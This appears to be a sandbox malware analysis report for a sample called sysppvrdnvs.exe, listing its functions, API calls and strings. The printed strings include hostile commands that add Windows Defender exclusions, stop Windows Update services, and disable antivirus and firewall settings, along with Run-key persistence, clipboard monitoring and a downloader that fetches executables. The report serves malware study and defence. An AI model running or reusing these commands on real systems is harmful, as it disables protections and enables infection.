WSACreateEvent.WS2_32 ref: 0040213A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040214E

Part of subcall function 0040DBE0: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040DC04
Part of subcall function 0040DBE0: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040DC5F
Part of subcall function 0040DBE0: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040DC9C
Part of subcall function 0040DBE0: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040DCA7
Part of subcall function 0040DBE0: DuplicateHandle.KERNEL32(00000000), ref: 0040DCAE
Part of subcall function 0040DBE0: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040DCC2

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: 619c20c401e2b3364d0528cdac8d914a84e1654cc4efe0891effe822260bbcd9
Instruction ID: 7304e093e5df1f4af0f3941d52a0ba2ce6ba101da239ecb0b9d238ba0c2be26e
Opcode Fuzzy Hash: 619c20c401e2b3364d0528cdac8d914a84e1654cc4efe0891effe822260bbcd9
Instruction Fuzzy Hash: EE41B170640301ABD3209F74CC4AF5B77E4AF44720F108A2DF6A9EA2D4E7F4E545875A

Function 00401470 Relevance: 9.1, APIs: 6, Instructions: 89networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004014B2
socket.WS2_32(00000002,00000002,00000011), ref: 004014C1
htons.WS2_32(?), ref: 00401508
setsockopt.WS2_32(?,0000FFFF), ref: 0040152A
bind.WS2_32(?,?,00000010), ref: 0040153B

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DFDD,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DFDD,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DFDD,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401569

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: 1abba91ebe41772085043db3870f7912a64bb11f4083ad92eff8d168b7687ff9
Instruction ID: 62ed05d6da85abd953b38b2f92cd08377c0ec6205023cd889ce16e316194a11c
Opcode Fuzzy Hash: 1abba91ebe41772085043db3870f7912a64bb11f4083ad92eff8d168b7687ff9
Instruction Fuzzy Hash: 1731F971A443016BE320DF749C46F9BB6E0AF48B10F40493DF659EB2D0D3B4D544879A

Function 0040D770 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040D782
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040D7A8
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040D7DF
GetTickCount.KERNEL32 ref: 0040D7F4
Sleep.KERNEL32(00000001), ref: 0040D814
GetTickCount.KERNEL32 ref: 0040D81A

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 37a822bdddda98564e28443683f910c137df2279eb61dd0ccc6bd5f83a2e5522
Instruction ID: 457d80db37ae817004d1223b894239af033459ee6c7143085fc0b5fbd1cdb933
Opcode Fuzzy Hash: 37a822bdddda98564e28443683f910c137df2279eb61dd0ccc6bd5f83a2e5522
Instruction Fuzzy Hash: 13310A75D00209EFCB04DFA4D948AEEBBB0FF44315F10866AE821A7280D7749A54CB99

Function 0040B430 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(00000050), ref: 0040B45D

Part of subcall function 0040B3F0: inet_addr.WS2_32(0040B471), ref: 0040B3FA
Part of subcall function 0040B3F0: gethostbyname.WS2_32(?), ref: 0040B40D

socket.WS2_32(00000002,00000001,00000000), ref: 0040B47D
connect.WS2_32(000000FF,?,00000010), ref: 0040B496
getsockname.WS2_32(000000FF,?,00000010), ref: 0040B4C8

Strings

www.update.microsoft.com, xrefs: 0040B467

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: f159efbcf8a01faa4036468162d002d529369f8e2320b7a0d5a4ce48e9bb38ac
Instruction ID: af49af799945b34e8f77a8241ecd355db6f1f506d792f0fdd03f8566860bb8e6
Opcode Fuzzy Hash: f159efbcf8a01faa4036468162d002d529369f8e2320b7a0d5a4ce48e9bb38ac
Instruction Fuzzy Hash: DB212CB4D102099BCB04DFE8D946AEEBBB4EF48300F104169E514F7390E7B45A44DBAA

Function 004013B0 Relevance: 6.1, APIs: 4, Instructions: 63networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040DFDD,00000000), ref: 004013D5
socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DFDD,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DFDD,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DFDD,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401459

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: b647c8863bd145a6cdb3b694a2789b5223e0cbd1e96795d6a7d9ca1e1965b3ae
Instruction ID: 36f5780ae761d5720ce2b15666c8ad773c7a5b56cb4710f169ddd2cda5c78557
Opcode Fuzzy Hash: b647c8863bd145a6cdb3b694a2789b5223e0cbd1e96795d6a7d9ca1e1965b3ae
Instruction Fuzzy Hash: DE116674A417106BE3209F749C0AF877AE0AF04B54F50892DF659E72E1E3B49544879A

Function 0040C830 Relevance: 4.5, APIs: 3, Instructions: 26encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(004083EF,00000000,00000000,00000001,F0000040,?,?,0040C889,004083EF,00000004,?,?,0040C8BE,000000FF), ref: 0040C843
CryptGenRandom.ADVAPI32(004083EF,?,00000000,?,?,0040C889,004083EF,00000004,?,?,0040C8BE,000000FF), ref: 0040C859
CryptReleaseContext.ADVAPI32(004083EF,00000000,?,?,0040C889,004083EF,00000004,?,?,0040C8BE,000000FF), ref: 0040C865

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: a24c2434b3afb1955293fcca0a538135b7e24827869c87ceb3569772b55bea96
Instruction ID: f90ee11572ba5f49e3e1a660dc1e1657e7f5db47d76125bfba77a944767198f2
Opcode Fuzzy Hash: a24c2434b3afb1955293fcca0a538135b7e24827869c87ceb3569772b55bea96
Instruction Fuzzy Hash: 69E012B5650208FBDB14DFD1EC49FDA776CAB48B01F108554F709E7180DAB5EA4097A8

Function 00407940 Relevance: 287.7, APIs: 103, Strings: 61, Instructions: 749
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000007D0), ref: 0040794E
CreateMutexA.KERNEL32(00000000,00000000,mmn7nnm8na), ref: 0040795D
GetLastError.KERNEL32 ref: 00407969
ExitProcess.KERNEL32 ref: 00407978
GetModuleFileNameW.KERNEL32(00000000,C:\Windows\sysppvrdnvs.exe,00000105), ref: 004079B2
PathFindFileNameW.SHLWAPI(C:\Windows\sysppvrdnvs.exe), ref: 004079BD
wsprintfW.USER32 ref: 004079DA
DeleteFileW.KERNEL32(?), ref: 004079EA
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00407A01
wcscmp.NTDLL ref: 00407A13
ExitProcess.KERNEL32 ref: 00407A32

Strings

Start, xrefs: 00407DAC
mmn7nnm8na, xrefs: 00407954
%windir%, xrefs: 00407A44
cmd.exe, xrefs: 00407D60
PreventDownload, xrefs: 004080BA
SOFTWARE\Policies\Microsoft\Windows\UpdateOrchestrator, xrefs: 0040802D
FirewallOverride, xrefs: 0040822E
AntiVirusOverride, xrefs: 0040828B
DisableWindowsUpdate, xrefs: 00407F69
AlwaysAutoUpdate, xrefs: 00407FE1
C:\Users\user\tbtnds.dat, xrefs: 00408340
%s\tbtnds.dat, xrefs: 0040833B
SYSTEM\CurrentControlSet\Services\WaaSMedicSvc, xrefs: 00407DD9
%userprofile%, xrefs: 004079FC
NoAutoUpdate, xrefs: 00407FC2
UpdatesOverride, xrefs: 004081B2
open, xrefs: 00407D65
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407AA9
AntiSpywareOverride, xrefs: 00408155
AntiVirusDisableNotify, xrefs: 00408193
UpdatesOverride, xrefs: 004082C9
%s\%s, xrefs: 00407A5B
Start, xrefs: 00407E05
EnableWindowsUpdate, xrefs: 0040809B
%s\%s, xrefs: 00407B4D
SYSTEM\CurrentControlSet\Services\DoSvc, xrefs: 00407E8B
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407F3D
/c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -, xrefs: 00407D40
Start, xrefs: 00407E5E
Windows Settings, xrefs: 00407AE7, 00407BD9, 00407CE2
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 004081FE
SYSTEM\CurrentControlSet\Services\wuauserv, xrefs: 00407E32
FirewallDisableNotify, xrefs: 00408136
/c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait, xrefs: 00407D5B
AntiVirusOverride, xrefs: 00408174
cmd.exe, xrefs: 00407D45
Start, xrefs: 00407F10
%s\tbtcmds.dat, xrefs: 00408355
%s:Zone.Identifier, xrefs: 004079CE
OverrideNotice, xrefs: 00408000
UpdatesDisableNotify, xrefs: 004081D1
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407CA4
Start, xrefs: 00407EB7
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407F96
SYSTEM\CurrentControlSet\Services\BITS, xrefs: 00407EE4
AutoUpdateOptions, xrefs: 0040807C
FirewallOverride, xrefs: 00408117
C:\Users\user\tbtcmds.dat, xrefs: 0040835A
C:\Windows\sysppvrdnvs.exe, xrefs: 004079AB, 004079B8, 004079C9, 00407A79, 00407B6B, 00407C74
%s\%s, xrefs: 00407C56
AntiSpywareOverride, xrefs: 0040826C
open, xrefs: 00407D4A
sysppvrdnvs.exe, xrefs: 00407A07, 00407A4F, 00407B41, 00407C4A
AntiVirusDisableNotify, xrefs: 004082AA
FirewallDisableNotify, xrefs: 0040824D
%temp%, xrefs: 00407C3F
UpdatesDisableNotify, xrefs: 004082E8
SOFTWARE\Microsoft\Security Center, xrefs: 004080E7
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407B9B
DisableWindowsUpdate, xrefs: 0040805D
SYSTEM\CurrentControlSet\Services\UsoSvc, xrefs: 00407D80

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswcscmpwsprintf
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\%s$%s\tbtcmds.dat$%s\tbtnds.dat$%temp%$%userprofile%$%windir%$/c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -$/c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait$AlwaysAutoUpdate$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$AutoUpdateOptions$C:\Users\user\tbtcmds.dat$C:\Users\user\tbtnds.dat$C:\Windows\sysppvrdnvs.exe$DisableWindowsUpdate$DisableWindowsUpdate$EnableWindowsUpdate$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$NoAutoUpdate$OverrideNotice$PreventDownload$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$SOFTWARE\Policies\Microsoft\Windows\UpdateOrchestrator$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SYSTEM\CurrentControlSet\Services\BITS$SYSTEM\CurrentControlSet\Services\DoSvc$SYSTEM\CurrentControlSet\Services\UsoSvc$SYSTEM\CurrentControlSet\Services\WaaSMedicSvc$SYSTEM\CurrentControlSet\Services\wuauserv$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Start$Start$Start$Start$Start$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$cmd.exe$cmd.exe$mmn7nnm8na$open$open$sysppvrdnvs.exe
API String ID: 4172876685-2793809833
Opcode ID: 6c3aa08d7c4c4069ddcf3c5aed638cf34e8cb556e5cf3fb678ad37c5e5b78497
Instruction ID: 367eef7d7cdc4f6bbf58631969cb55eb0d30a7b17f9c19f9a6cac2e90da0940f
Opcode Fuzzy Hash: 6c3aa08d7c4c4069ddcf3c5aed638cf34e8cb556e5cf3fb678ad37c5e5b78497
Instruction Fuzzy Hash: 245240B1A80318BBE7209BA0DC4AFD97775AB48B15F1081A5B309B61D0D7F5AAC4CF5C

Function 0040F560 Relevance: 75.5, APIs: 36, Strings: 7, Instructions: 231
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040F569
srand.MSVCRT ref: 0040F570
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040F590
strlen.NTDLL ref: 0040F59A
mbstowcs.NTDLL ref: 0040F5B1
rand.MSVCRT ref: 0040F5B9
rand.MSVCRT ref: 0040F5CD
wsprintfW.USER32 ref: 0040F5F4
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040F60A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F639
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F668
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040F69B
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040F6CC
CloseHandle.KERNEL32(000000FF), ref: 0040F6DB
wsprintfW.USER32 ref: 0040F6F4
DeleteFileW.KERNEL32(?), ref: 0040F704
Sleep.KERNEL32(000003E8), ref: 0040F70F
Sleep.KERNEL32(000007D0), ref: 0040F730
ExitProcess.KERNEL32 ref: 0040F758
DeleteFileW.KERNEL32(?), ref: 0040F76E
CloseHandle.KERNEL32(000000FF), ref: 0040F77B
InternetCloseHandle.WININET(00000000), ref: 0040F788
InternetCloseHandle.WININET(00000000), ref: 0040F795
Sleep.KERNEL32(000003E8), ref: 0040F7A0
rand.MSVCRT ref: 0040F7B5
Sleep.KERNEL32 ref: 0040F7C6
rand.MSVCRT ref: 0040F7CC
rand.MSVCRT ref: 0040F7E0
wsprintfW.USER32 ref: 0040F807
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040F824
wsprintfW.USER32 ref: 0040F844
DeleteFileW.KERNEL32(?), ref: 0040F854
Sleep.KERNEL32(000003E8), ref: 0040F85F
Sleep.KERNEL32(000007D0), ref: 0040F880
ExitProcess.KERNEL32 ref: 0040F8A7
DeleteFileW.KERNEL32(?), ref: 0040F8B6

Strings

y@, xrefs: 0040F89C, 0040F74D
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 0040F605
%s\%d%d.exe, xrefs: 0040F5E8
%temp%, xrefs: 0040F58B
%s\%d%d.exe, xrefs: 0040F7FB
%s:Zone.Identifier, xrefs: 0040F838
%s:Zone.Identifier, xrefs: 0040F6E8

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$Sleep$Internetrand$CloseDeleteHandlewsprintf$ExitOpenProcess$CountCreateDownloadEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: y@$%s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
API String ID: 1632876846-3348571888
Opcode ID: f66bbaa90db6dfc7324bdba7ae9ae0bc4e4b122ccc0d7fa92996eb741fb39ab1
Instruction ID: 1975aeac9676e101a2f9df26b0893873e865047fe5e1fa68f0a59d9663d47833
Opcode Fuzzy Hash: f66bbaa90db6dfc7324bdba7ae9ae0bc4e4b122ccc0d7fa92996eb741fb39ab1
Instruction Fuzzy Hash: EB81DBB1900314ABE720DB50DC45FE93379AF88701F0485B9F609A51D1DBBD9AC8CF69

Function 0040B850 Relevance: 34.7, APIs: 13, Strings: 10, Instructions: 198
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040B780: gethostname.WS2_32(?,00000100), ref: 0040B79C
Part of subcall function 0040B780: gethostbyname.WS2_32(?), ref: 0040B7AE

strcmp.NTDLL ref: 0040B880

Strings

.192., xrefs: 0040B92C
.127, xrefs: 0040B8AF
.192, xrefs: 0040B90E
.10., xrefs: 0040B98B
.127., xrefs: 0040B8CD
10., xrefs: 0040B94F
127., xrefs: 0040B891
.10, xrefs: 0040B96D
0.0.0.0, xrefs: 0040B86E
192., xrefs: 0040B8F0

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostnamestrcmp
String ID: .10$.10.$.127$.127.$.192$.192.$0.0.0.0$10.$127.$192.
API String ID: 2906596889-2213908610
Opcode ID: 5b9ae2d183a319b68884f4aa771505d4aae3a4737099f9eb71a98d0230e188d4
Instruction ID: 8d4abfb17ef92fbeb3a58b36540fc168dced5822f8e8c36773a64fbd4adfcb3b
Opcode Fuzzy Hash: 5b9ae2d183a319b68884f4aa771505d4aae3a4737099f9eb71a98d0230e188d4
Instruction Fuzzy Hash: 826181B5A00205ABDB00AFA1FC46B9A3665EB50318F14847AE805B73C1EB7DE554CBDE

Function 004059B0 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004059BC
SetClipboardViewer.USER32(?), ref: 00405A08
SetWindowLongW.USER32(?,000000EB,?), ref: 00405A1B
IsClipboardFormatAvailable.USER32(0000000D), ref: 00405A70
OpenClipboard.USER32(00000000), ref: 00405AB7
GetClipboardData.USER32(00000000), ref: 00405AC9
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00405BD0
ChangeClipboardChain.USER32(?,?), ref: 00405BDE
DefWindowProcA.USER32(?,?,?,?), ref: 00405BF4

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: dee7b1af12479445aaed8c2a515aabfb2702732359421cc2ae86defdf91b9e48
Instruction ID: 96d86bc259bd628418629a5c2f452591d45261003c5ffeff5fe086a58ca8b5ae
Opcode Fuzzy Hash: dee7b1af12479445aaed8c2a515aabfb2702732359421cc2ae86defdf91b9e48
Instruction Fuzzy Hash: EB711C75A00608EFDF14DFA4D988BEF77B4EB48300F14856AE506B7290D779AA40CF69

Function 00406F70 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 106
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 00406F7E
GetModuleFileNameW.KERNEL32(00000000,C:\Windows\sysppvrdnvs.exe,00000104), ref: 00406F90

Part of subcall function 0040F1F0: CreateFileW.KERNEL32(00406FA0,80000000,00000001,00000000,00000003,00000000,00000000,00406FA0), ref: 0040F210
Part of subcall function 0040F1F0: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040F225
Part of subcall function 0040F1F0: CloseHandle.KERNEL32(000000FF), ref: 0040F232

ExitThread.KERNEL32 ref: 004070FA

Part of subcall function 004063E0: GetLogicalDrives.KERNEL32 ref: 004063E6
Part of subcall function 004063E0: RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406434
Part of subcall function 004063E0: RegQueryValueExW.KERNEL32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00406461
Part of subcall function 004063E0: RegCloseKey.ADVAPI32(?), ref: 0040647E

Sleep.KERNEL32(000007D0), ref: 004070ED

Part of subcall function 00406300: lstrcpyW.KERNEL32(?,?,?,?,00000019), ref: 00406353

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 0040702F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00407044
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 0040705F
wsprintfW.USER32 ref: 00407072
wsprintfW.USER32 ref: 00407092
wsprintfW.USER32 ref: 004070B5

Strings

%s%s, xrefs: 004070A9
(%dGB), xrefs: 00407066
C:\Windows\sysppvrdnvs.exe, xrefs: 00406F89, 00406F96
Unnamed volume, xrefs: 00407086

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$C:\Windows\sysppvrdnvs.exe$Unnamed volume
API String ID: 1650488544-747518629
Opcode ID: 36835f4b582c7264fa9310f82983a243ead37fe316eb445b52cb330bcd55ef35
Instruction ID: b797a4b926279b24144ff746e96c568fb56fd9e530b7e1178aba5a8e6206bca3
Opcode Fuzzy Hash: 36835f4b582c7264fa9310f82983a243ead37fe316eb445b52cb330bcd55ef35
Instruction Fuzzy Hash: 244174B1D00214BBEB64DB94DC45FEE7779BB48700F1085A6F20AB61D0DA785B84CF6A

Function 004058C0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 004058D8
GetModuleHandleW.KERNEL32(00000000), ref: 004058F0
Sleep.KERNEL32(00000001), ref: 00405904
GetTickCount.KERNEL32 ref: 0040590A
GetTickCount.KERNEL32 ref: 00405913
wsprintfW.USER32 ref: 00405926
RegisterClassExW.USER32(00000030), ref: 00405933
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 0040595C
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00405977
TranslateMessage.USER32(?), ref: 00405985
DispatchMessageA.USER32(?), ref: 0040598F
ExitThread.KERNEL32 ref: 004059A1

Strings

%x%X, xrefs: 0040591A
0, xrefs: 004058E0

Memory Dump Source

